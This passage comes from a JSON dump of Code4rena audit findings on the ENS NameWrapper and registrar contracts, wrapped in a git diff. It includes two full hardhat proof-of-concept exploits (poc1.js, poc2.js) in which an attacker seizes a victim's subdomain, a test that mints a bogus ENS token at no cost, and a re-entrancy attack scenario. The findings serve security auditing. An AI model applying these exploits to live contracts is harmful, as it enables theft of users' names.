The root cause here is that, for any node, when one of its subdomains burns `PARENT_CANNOT_CONTROL`, the node itself fails to burn `CANNOT_UNWRAP`. Theoretically, this should check to the root, which however is very gas-consuming. ### Notes Discussed with the project member, Jeff Lau. If there is any issue running the attached PoC code, please contact me via `izhuer#0001` discord. ### Suggested Fix + Potential fix 1: auto-burn `CANNOT_UNWRAP` which thus lets `expiry` decide whether a node can be unwrapped. + Potential fix 2: leave fuses as is when unwrapping and re-wrapping, unless name expires. Meanwhile, check the old fuses even wrapping. ### PoC / Attack Scenario There are two attached PoC files, `poc1.js` and `poc2.js`. The `poc1.js` is for a case where the hacker holds a 2LD, and the `poc2.js` demonstrates the aforementioned scenario. To run the PoC, put then in `2022-07-ens/test/wrapper` and run `npx hardhat test --grep 'PoC'`. #### poc1.js ```javascript const packet = require('dns-packet') const { ethers } = require('hardhat') const { utils } = ethers const { use, expect } = require('chai') const { solidity } = require('ethereum-waffle') const n = require('eth-ens-namehash') const namehash = n.hash const { deploy } = require('../test-utils/contracts') const { keccak256 } = require('ethers/lib/utils') use(solidity) const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) const ROOT_NODE = '0x0000000000000000000000000000000000000000000000000000000000000000' const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' function encodeName(name) { return '0x' + packet.name.encode(name).toString('hex') } const CANNOT_UNWRAP = 1 const CANNOT_BURN_FUSES = 2 const CANNOT_TRANSFER = 4 const CANNOT_SET_RESOLVER = 8 const CANNOT_SET_TTL = 16 const CANNOT_CREATE_SUBDOMAIN = 32 const PARENT_CANNOT_CONTROL = 64 const CAN_DO_EVERYTHING = 0 describe('PoC 1', () => { let ENSRegistry let BaseRegistrar let NameWrapper let NameWrapperV let MetaDataservice let signers let dev let victim let hacker let result let MAX_EXPIRY = 2n ** 64n - 1n before(async () => { signers = await ethers.getSigners() dev = await signers[0].getAddress() victim = await signers[1].getAddress() hacker = await signers[2].getAddress() EnsRegistry = await deploy('ENSRegistry') EnsRegistryV = EnsRegistry.connect(signers[1]) EnsRegistryH = EnsRegistry.connect(signers[2]) BaseRegistrar = await deploy( 'BaseRegistrarImplementation', EnsRegistry.address, namehash('eth') ) await BaseRegistrar.addController(dev) await BaseRegistrar.addController(victim) MetaDataservice = await deploy( 'StaticMetadataService', 'https://ens.domains' ) NameWrapper = await deploy( 'NameWrapper', EnsRegistry.address, BaseRegistrar.address, MetaDataservice.address ) NameWrapperV = NameWrapper.connect(signers[1]) NameWrapperH = NameWrapper.connect(signers[2]) // setup .eth await EnsRegistry.setSubnodeOwner( ROOT_NODE, labelhash('eth'), BaseRegistrar.address ) //make sure base registrar is owner of eth TLD expect(await EnsRegistry.owner(namehash('eth'))).to.equal( BaseRegistrar.address ) }) beforeEach(async () => { result = await ethers.provider.send('evm_snapshot') }) afterEach(async () => { await ethers.provider.send('evm_revert', [result]) }) describe('subdomain can be re-wrapped', () => { before(async () => { await BaseRegistrar.addController(NameWrapper.address) await NameWrapper.setController(dev, true) }) it('a passed test denotes a successful attack', async () => { const label = 'register' const labelHash = labelhash(label) const wrappedTokenId = namehash(label + '.eth') // register a 2LD domain for the hacker await NameWrapper.registerAndWrapETH2LD( label, hacker, 86400, EMPTY_ADDRESS, CAN_DO_EVERYTHING, MAX_EXPIRY ) expect(await BaseRegistrar.ownerOf(labelHash)).to.equal( NameWrapper.address ) expect(await EnsRegistry.owner(wrappedTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker) // hacker signed a submomain for a victim user const subLabel = 'hack' const subLabelHash = labelhash(subLabel) const wrappedSubTokenId = namehash(subLabel + '.' + label + '.eth') await NameWrapperH.setSubnodeOwner( wrappedTokenId, subLabel, victim, PARENT_CANNOT_CONTROL, MAX_EXPIRY ) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(victim) expect( (await NameWrapper.getFuses(wrappedSubTokenId))[0] ).to.equal(PARENT_CANNOT_CONTROL) // the user sets a very strict fuse for the wrappedSubTokenId await NameWrapperV.setFuses(wrappedSubTokenId, 127 - PARENT_CANNOT_CONTROL) // 63 expect((await NameWrapper.getFuses(wrappedSubTokenId))[0]).to.equal(127) // the hacker unwraps his 2LD token await NameWrapperH.unwrapETH2LD(labelHash, hacker, hacker) expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(hacker) expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(hacker) // the hacker setSubnodeOwner await EnsRegistryH.setSubnodeOwner(wrappedTokenId, subLabelHash, hacker) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker) // the hacker re-wrap the sub node await EnsRegistryH.setApprovalForAll(NameWrapper.address, true) await NameWrapperH.wrap( encodeName(subLabel + '.' + label + '.eth'), hacker, EMPTY_ADDRESS ) /////////////////////////// // Attack successed! /////////////////////////// // XXX: [1] the owner of wrappedSubTokenId transfer from the victim to the hacker // XXX: [2] the fuses of wrappedSubTokenId becomes 0 from full-protected expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker) expect((await NameWrapper.getFuses(wrappedSubTokenId))[0]).to.equal(0) }) }) }) ``` #### poc2.js ```javascript const packet = require('dns-packet') const { ethers } = require('hardhat') const { utils } = ethers const { use, expect } = require('chai') const { solidity } = require('ethereum-waffle') const n = require('eth-ens-namehash') const namehash = n.hash const { deploy } = require('../test-utils/contracts') const { keccak256 } = require('ethers/lib/utils') use(solidity) const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) const ROOT_NODE = '0x0000000000000000000000000000000000000000000000000000000000000000' const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' function encodeName(name) { return '0x' + packet.name.encode(name).toString('hex') } const CANNOT_UNWRAP = 1 const CANNOT_BURN_FUSES = 2 const CANNOT_TRANSFER = 4 const CANNOT_SET_RESOLVER = 8 const CANNOT_SET_TTL = 16 const CANNOT_CREATE_SUBDOMAIN = 32 const PARENT_CANNOT_CONTROL = 64 const CAN_DO_EVERYTHING = 0 describe('PoC 2', () => { let ENSRegistry let BaseRegistrar let NameWrapper let NameWrapperV let MetaDataservice let signers let dev let victim let hacker let result let MAX_EXPIRY = 2n ** 64n - 1n before(async () => { signers = await ethers.getSigners() dev = await signers[0].getAddress() victim = await signers[1].getAddress() hacker = await signers[2].getAddress() EnsRegistry = await deploy('ENSRegistry') EnsRegistryV = EnsRegistry.connect(signers[1]) EnsRegistryH = EnsRegistry.connect(signers[2]) BaseRegistrar = await deploy( 'BaseRegistrarImplementation', EnsRegistry.address, namehash('eth') ) await BaseRegistrar.addController(dev) await BaseRegistrar.addController(victim) MetaDataservice = await deploy( 'StaticMetadataService', 'https://ens.domains' ) NameWrapper = await deploy( 'NameWrapper', EnsRegistry.address, BaseRegistrar.address, MetaDataservice.address ) NameWrapperV = NameWrapper.connect(signers[1]) NameWrapperH = NameWrapper.connect(signers[2]) // setup .eth await EnsRegistry.setSubnodeOwner( ROOT_NODE, labelhash('eth'), BaseRegistrar.address ) //make sure base registrar is owner of eth TLD expect(await EnsRegistry.owner(namehash('eth'))).to.equal( BaseRegistrar.address ) }) beforeEach(async () => { result = await ethers.provider.send('evm_snapshot') }) afterEach(async () => { await ethers.provider.send('evm_revert', [result]) }) describe('subdomain can be re-wrapped', () => { /* * Attack scenario: * + Someone owns a domain (or a 2LD), e.g., poc.eth * + The domain owner assigns a sub-domain to the hacker, e.g., hack.poc.eth * + This sub-domain should not burn `CANNOT_UNWRAP` * + This sub-domain can burn `PARENT_CANNOT_CONTROL` * + Hacker assigns a sub-sub-domain to a victim user, e.g., victim.hack.poc.eth * + The victim user burns arbitrary fuses, including `PARENT_CANNOT_CONTROL` * + The hacker unwraps his sub-domain, i.e., hack.poc.eth * + The hacker invokes `ENSRegistry::setSubnodeOwner` on the sub-sub-domain * + He can reassign himself as the owner of the victim.hack.poc.eth * + The sub-sub-domain is now owned by the hacker with more permissive fuses */ before(async () => { await BaseRegistrar.addController(NameWrapper.address) await NameWrapper.setController(dev, true) }) it('a passed test denotes a successful attack', async () => { const label = 'poc' const labelHash = labelhash(label) const wrappedTokenId = namehash(label + '.eth') // register a 2LD domain await NameWrapper.registerAndWrapETH2LD( label, dev, 86400, EMPTY_ADDRESS, CAN_DO_EVERYTHING, MAX_EXPIRY ) expect(await BaseRegistrar.ownerOf(labelHash)).to.equal( NameWrapper.address ) expect(await EnsRegistry.owner(wrappedTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(dev) // signed a submomain for the hacker const subLabel = 'hack' const subLabelHash = labelhash(subLabel) const subDomain = subLabel + '.' + label + '.eth' const wrappedSubTokenId = namehash(subDomain) await NameWrapper.setSubnodeOwner( wrappedTokenId, subLabel, hacker, PARENT_CANNOT_CONTROL, MAX_EXPIRY ) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker) expect( (await NameWrapper.getFuses(wrappedSubTokenId))[0] ).to.equal(PARENT_CANNOT_CONTROL) // hacker signed a subsubmomain for a victim user const subSubLabel = 'victim' const subSubLabelHash = labelhash(subSubLabel) const subSubDomain = subSubLabel + '.' + subDomain const wrappedSubSubTokenId = namehash(subSubDomain) await NameWrapperH.setSubnodeOwner( wrappedSubTokenId, subSubLabel, victim, PARENT_CANNOT_CONTROL, MAX_EXPIRY ) expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(victim) expect( (await NameWrapper.getFuses(wrappedSubSubTokenId))[0] ).to.equal(PARENT_CANNOT_CONTROL) // the user sets a very strict fuse for the wrappedSubSubTokenId await NameWrapperV.setFuses(wrappedSubSubTokenId, 127 - PARENT_CANNOT_CONTROL) // 63 expect((await NameWrapper.getFuses(wrappedSubSubTokenId))[0]).to.equal(127) // the hacker unwraps his wrappedSubTokenId await NameWrapperH.unwrap(wrappedTokenId, subLabelHash, hacker) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker) // the hacker setSubnodeOwner, to set the owner of wrappedSubSubTokenId as himself await EnsRegistryH.setSubnodeOwner(wrappedSubTokenId, subSubLabelHash, hacker) expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal(hacker) // the hacker re-wrap the sub sub node await EnsRegistryH.setApprovalForAll(NameWrapper.address, true) await NameWrapperH.wrap(encodeName(subSubDomain), hacker, EMPTY_ADDRESS) // /////////////////////////// // // Attack successed! // /////////////////////////// // XXX: [1] the owner of wrappedSubTokenId transfer from the victim to the hacker // XXX: [2] the fuses of wrappedSubTokenId becomes 0 from full-protected expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(hacker) expect((await NameWrapper.getFuses(wrappedSubSubTokenId))[0]).to.equal(0) }) }) }) ``` "}, {"title": "The hash to be `commit()` before `register()` should not be computed through the RPC call", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/172", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-ens-findings", "body": "The hash to be `commit()` before `register()` should not be computed through the RPC call"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "No Transfer Ownership Pattern in Ownable.sol and Owned.sol", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "dnssec"], "target": "2022-07-ens-findings", "body": "No Transfer Ownership Pattern in Ownable.sol and Owned.sol"}, {"title": "The `unwrapETH2LD` use `transferFrom` instead of `safeTransferFrom` to transfer ERC721 token", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/157", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "sponsor disputed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L327-L346 # Vulnerability details ### Impact The `unwrapETH2LD` use `transferFrom` to transfer ERC721 token, the `newRegistrant` could be an unprepared contract ### Proof of Concept Should a ERC-721 compatible token be transferred to an unprepared contract, it would end up being locked up there. Moreover, if a contract explicitly wanted to reject ERC-721 safeTransfers. Plus take a look to [the OZ safeTransfer comments](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-); `Usage of this method is discouraged, use safeTransferFrom whenever possible.` ### Tools Used Manual Review ### Recommended Mitigation Steps ```diff function unwrapETH2LD( bytes32 labelhash, address newRegistrant, address newController ) public override onlyTokenOwner(_makeNode(ETH_NODE, labelhash)) { _unwrap(_makeNode(ETH_NODE, labelhash), newController); - registrar.transferFrom( + registrar.safeTransferFrom( address(this), newRegistrant, uint256(labelhash) ); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/149", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/136", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/135", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "transfer() depends on gas consts", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/133", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L183-L185 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L204 # Vulnerability details ## Impact `transfer()` forwards 2300 gas only, which may not be enough in future if the recipient is a contract and gas costs change. it could break existing contracts functionality. ## Proof of Concept `.transfer` or `.send` method, only 2300 gas will be \u201cforwarded\u201d to fallback function. Specifically, the SLOAD instruction, will go from costing 200 gas to 800 gas. if any smart contract has a functionality of register ens and it has fallback function which is making some state change in contract on ether receive, it could use more than 2300 gas and revert every transaction for reference checkout this, https://docs.soliditylang.org/en/v0.8.15/security-considerations.html?highlight=transfer#sending-and-receiving-ether https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/ ## Tools Used Manual Analysis ## Recommended Mitigation Steps use `.call` insted `.transfer` (bool success, ) = msg.sender.call.value(amount)(\"\"); require(success, \"Transfer failed.\"); "}, {"title": "Users can create extra ENS records at no cost", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/132", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L249-L268 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L125 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/BaseRegistrarImplementation.sol#L106 # Vulnerability details ## Impact Users using the ```register``` function in ```ETHRegistrarController.sol```, can create an additional bogus ENS entry (Keep the ERC721 and all the glory for as long as they want) for free by exploiting the ```functionCall``` in the ```_setRecords``` function. The only check there (in the setRecord function) is that the nodehash matches the originally registered ENS entry, this is extremely dangerous because the rest of the functionCall is not checked and the controller has very elevated privileges in ENS ecosystem (and probably beyond). The single exploit I am showing is already very bad, but I expect there will be more if this is left in. An example of a potential hack is that some of the functions in other ENS contracts (which give the RegistrarController elevated privilege) have dynamic types as the first variables--if users can generate a hash that is a low enough number, they will be able to unlock more exploits in the ENS ecosystem because of how dynamic types are abi encoded. Other developers will probably also trust the ```ETHRegistrarController.sol```, so other unknown dangers may come down the road. The exploit I made (full code in PoC) can mint another ENS entry and keep it for as long as it wants, without paying more--will show code below. ## Proof of Concept Put this code in the ```TestEthRegistrarController.js``` test suite to run. I just appended this to tests at the bottom of file. I called the ```BaseRegistrarImplementation.register``` function with the privileges of ```ETHRegistrarController``` by passing the base registrar's address as the ```resolver``` param in the ```ETHRegistrarController.register``` function call. I was able to set a custom duration at no additional cost. The final checks of the PoC show that we own two new ENS entries from a single ```ETHRegistrarController.register``` call. The labelhash of the new bogus ENS entry is the nodehash of the first registered ENS entry. ```js it('Should allow us to make bogus erc721 token in ENS contract', async () => { const label = 'newconfigname' const name = `${label}.eth` const node = namehash.hash(name) const secondTokenDuration = 788400000 // keep bogus NFT for 25 years; var commitment = await controller.makeCommitment( label, registrantAccount, REGISTRATION_TIME, secret, baseRegistrar.address, [ baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [ node, registrantAccount, secondTokenDuration ]), ], false, 0, 0 ) var tx = await controller.commit(commitment) expect(await controller.commitments(commitment)).to.equal( (await web3.eth.getBlock(tx.blockNumber)).timestamp ) await evm.advanceTime((await controller.minCommitmentAge()).toNumber()) var balanceBefore = await web3.eth.getBalance(controller.address) let tx2 = await controller.register( label, registrantAccount, REGISTRATION_TIME, secret, baseRegistrar.address, [ baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [ node, registrantAccount, secondTokenDuration ]), ], false, 0, 0, { value: BUFFERED_REGISTRATION_COST } ) expect(await nameWrapper.ownerOf(node)).to.equal(registrantAccount) expect(await ens.owner(namehash.hash(name))).to.equal(nameWrapper.address) expect(await baseRegistrar.ownerOf(node)).to.equal( // this checks that bogus NFT is owned by us registrantAccount ) expect(await baseRegistrar.ownerOf(sha3(label))).to.equal( nameWrapper.address ) }) ``` ## Tools Used chai tests in repo ## Recommended Mitigation Steps I recommend being stricter on the signatures of the user-provided ```resolver``` and the function that is being called (like safeTransfer calls in existing token contracts). An example of how to do this is by creating an interface that ENS can publish for users that want to compose their own resolvers and call that instead of a loose functionCall. Users will be free to handle data however they like, while restricting the space of things that can go wrong. I will provide a loose example here: ``` interface IUserResolver { function registerRecords(bytes32 nodeId, bytes32 labelHash, bytes calldata extraData) } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/123", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "If PARENT_CANNOT_CONTROL is set on subdomain, it can be unwrapped then wrapped by its owner and then parent can control it again before the expiry", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/119", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-07-ens-findings", "body": "If PARENT_CANNOT_CONTROL is set on subdomain, it can be unwrapped then wrapped by its owner and then parent can control it again before the expiry"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_23.json b/results/codearena_findings_23.json new file mode 100644 index 0000000..4c37347 --- /dev/null +++ b/results/codearena_findings_23.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/90", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "It is possible to create fake ERC1155 NameWrapper token for subdomain, which is not owned by NameWrapper", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/84", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L820-L821 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L524 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L572 # Vulnerability details ## Impact Due to re-entrancy possibility in `NameWrapper._transferAndBurnFuses` (called from `setSubnodeOwner` and `setSubnodeRecord`), it is possible to do some stuff in `onERC1155Received` right after transfer but before new owner and new fuses are set. This makes it possible, for example, to unwrap the subdomain, but owner and fuses will still be set even for unwrapped domain, creating fake `ERC1155` `NameWrapper` token for domain, which is not owned by `NameWrapper`. Fake token creation scenario: 1. `Account1` registers and wraps `test.eth` domain 2. `Account1` calls `NameWrapper.setSubnodeOwner` for `sub.test.eth` subdomain with `Account1` as owner (to make NameWrapper owner of subdomain) 3. `Contract1` smart contract is created, which calls unwrap in its `onERC1155Received` function, and a function to send `sub.test.eth` ERC1155 NameWrapper token back to `Account1` 4. `Account1` calls `NameWrapper.setSubnodeOwner` for `sub.test.eth` with `Contract1` as new owner, which unwraps domain back to `Account1` but due to re-entrancy, NameWrapper sets fuses and ownership to `Contract1` 5. `Account1` calls function to send ERC1155 token from `Contract1` back to self. After this sequence of events, `sub.test.eth` subdomain is owned by `Account1` both in `ENS` registry and in `NameWrapper` (with fuses and expiry correctly set to the future date). Lots (but not all) of functions in `NameWrapper` will fail to execute for this subdomain, because they expect `NameWrapper` to have ownership of the domain in `ENS`, but some functions will still work, making it possible to make the impression of good domain. At this point, ownership in `NameWrapper` is \"detached\" from ownership in `ENS` and `Account1` can do all kinds of malcious stuff with its ERC1155 token. For example: 1. Sell subdomain to the other user, transfering `ERC1155` to that user and burning `PARENT_CANNOT_CONTROL` to create impression that he can't control the domain. After receiving the payment, `Account1` can wrap the domain again, which burns existing ownership record and replaces with the new one with clear fuses and `Account1` ownership, effectively stealing domain back from unsuspecting user, who thought that `ERC1155` gives him the right to the domain (and didn't expect that parent can clear fuses when `PARENT_CANNOT_CONTROL` is set). 2. Transfer subdomain to some other smart contract, which implements `onERC1155Received`, then take it back, fooling smart contract into believing that it has received the domain. ## Proof of Concept Copy these to test/wrapper and run: yarn test test/wrapper/NameWrapperReentrancy.js https://gist.github.com/panprog/3cd94e3fbb0c52410a4c6609e55b863e ## Recommended Mitigation Steps Consider adding `nonReentrant` modifiers with `ReentrancyGuard` implementation from `openzeppelin`. Alternatively just fix this individual re-entrancy issue. There are multiple ways to fix it depending on expected behaviour, for example saving `ERC1155` data and requiring it to match the data after transfer (restricting `onERC1155Received` to not change any data for the token received): function _transferAndBurnFuses( bytes32 node, address newOwner, uint32 fuses, uint64 expiry ) internal { (address owner, uint32 saveFuses, uint64 saveExpiry) = getData(uint256(node)); _transfer(owner, newOwner, uint256(node), 1, \"\"); uint32 curFuses; uint64 curExpiry; (owner, curFuses, curExpiry) = getData(uint256(node)); require(owner == newOwner && saveFuses == curFuses && saveExpiry == curExpiry); _setFuses(node, newOwner, fuses, expiry); } "}, {"title": "Anyone can call `ETHRegistrarController.register` for already existing commitments and set a reverse record to the caller instead of the owner 